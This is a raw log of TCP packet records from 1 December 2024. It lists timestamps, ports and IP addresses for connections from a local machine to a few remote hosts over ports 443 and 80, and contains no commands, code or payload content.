Dec 1, 2024 03:32:47.633696079 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.633855104 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.633872032 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.210119963 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.210726023 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.210738897 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.211191893 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.211199045 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.655888081 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.655957937 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.656004906 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.656233072 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.656251907 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.656264067 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.656270027 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.659234047 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.659280062 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.659348965 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.659491062 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.659507036 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.921583891 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.922122002 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.922135115 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:48.922622919 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:48.922627926 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367139101 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367295980 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367377043 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367461920 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.367619038 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.367619038 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.367640018 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367655993 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.367816925 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.367851019 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.368277073 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.368282080 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.370363951 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.370400906 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.370491982 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.370606899 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.370616913 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.386698008 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.387340069 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.387351990 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.387758970 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.387765884 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.480191946 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.480763912 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.480797052 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.481245041 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.481254101 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.492537975 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:49.492631912 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:49.492716074 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:49.492793083 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:49.492811918 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:49.551595926 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:49.551631927 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:49.551759005 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:49.552050114 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:49.552063942 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:49.820338011 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.820413113 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.820477962 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.820745945 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.820766926 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.820780993 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.820786953 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.823925972 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.823973894 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.824059963 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.824189901 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.824203014 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.891961098 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.892038107 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.892112017 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.892324924 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.892324924 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.892343044 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.892348051 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.895311117 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.895363092 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.895446062 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.895621061 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.895637035 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.933342934 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.933427095 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.933518887 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.933651924 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.933676958 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.933692932 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.933697939 CET	443	49771	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.936508894 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.936537981 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:49.936633110 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.936789036 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:49.936801910 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.440342903 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.447674990 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.447725058 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.448554039 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.448559046 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.813483000 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:50.813596964 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:50.814989090 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:50.814996958 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:50.815229893 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:50.816683054 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:50.816683054 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:50.816755056 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:50.884701014 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.884767056 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.884841919 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.885049105 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.885049105 CET	49772	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.885065079 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.885070086 CET	443	49772	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.887629032 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.887669086 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:50.887759924 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.887892008 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:50.887903929 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.150062084 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.150558949 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.150572062 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.151016951 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.151021957 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.594649076 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.594724894 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.594892979 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.595120907 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.595143080 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.595154047 CET	49773	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.595160007 CET	443	49773	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.597659111 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.597696066 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.597789049 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.597914934 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.597933054 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.604501963 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.604842901 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.604851961 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.605282068 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.605287075 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.675785065 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.676424026 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.676457882 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.676858902 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.676872015 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.717979908 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.718846083 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.718862057 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:51.719281912 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:51.719285965 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.048680067 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.048747063 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.048806906 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.048973083 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.048990011 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.049000978 CET	49775	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.049005985 CET	443	49775	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.051445007 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.051465988 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.051553965 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.051688910 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.051698923 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.119991064 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.120064020 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.120131969 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.120397091 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.120420933 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.120431900 CET	49776	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.120438099 CET	443	49776	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.123162985 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.123203993 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.123289108 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.123457909 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.123467922 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.161699057 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.161781073 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.161885023 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.167145014 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.167145014 CET	49777	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.167166948 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.167177916 CET	443	49777	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.169665098 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.169703007 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.169775009 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.169909000 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.169919968 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.475686073 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:52.475796938 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:52.475986004 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:52.476075888 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:52.476094961 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:52.476108074 CET	49774	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:52.476114035 CET	443	49774	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:52.480329990 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:52.600263119 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:52.600378990 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:52.600567102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:52.720642090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:52.734225988 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.734719038 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.734746933 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:52.735457897 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:52.735462904 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.187963009 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.188025951 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.188147068 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.188352108 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.188374043 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.188386917 CET	49778	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.188391924 CET	443	49778	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.191672087 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.191711903 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.191785097 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.192059994 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.192071915 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.445029974 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.445758104 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.445771933 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.446410894 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.446423054 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.830869913 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.831501961 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.831537962 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.831810951 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.831816912 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.884196043 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.886878014 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.886902094 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.887274981 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.887279987 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.900482893 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.900557995 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.900634050 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.900826931 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.900826931 CET	49779	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.900851011 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.900861979 CET	443	49779	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.903708935 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.903750896 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.903841019 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.904021025 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.904036999 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.904309988 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.904633999 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.904649019 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.905040979 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:53.905045986 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:53.987011909 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987045050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987057924 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987140894 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:53.987359047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987381935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987394094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987406015 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.987413883 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:53.987452984 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:53.987979889 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.988001108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.988013029 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:53.988033056 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:53.988065004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.107080936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.107095957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.107304096 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.188358068 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.188431025 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.188502073 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.192945004 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.193046093 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.193130016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.200954914 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.201011896 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.201075077 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.209346056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.209417105 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.209470034 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.217770100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.217874050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.217932940 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.226171970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.226248980 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.226316929 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.234620094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.234658003 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.234790087 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.242978096 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.243068933 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.243133068 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.251385927 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.251513958 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.251580000 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.259830952 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.259938955 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.260005951 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.268240929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.268336058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.268388987 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.275804043 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.275877953 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.275938988 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.276129961 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.276144028 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.276154041 CET	49780	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.276165009 CET	443	49780	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.279211998 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.279256105 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.279361963 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.279520988 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.279539108 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.308505058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.319720984 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.319803953 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.319866896 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.320105076 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.320127010 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.320132971 CET	49782	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.320139885 CET	443	49782	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.323870897 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.323932886 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.323997974 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.324173927 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.324193954 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.348393917 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.348464966 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.348515034 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.348720074 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.348737001 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.348747969 CET	49781	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.348752975 CET	443	49781	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.351638079 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.351672888 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:54.351752043 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.351923943 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:54.351937056 CET	443	49788	13.107.246.63	192.168.2.7
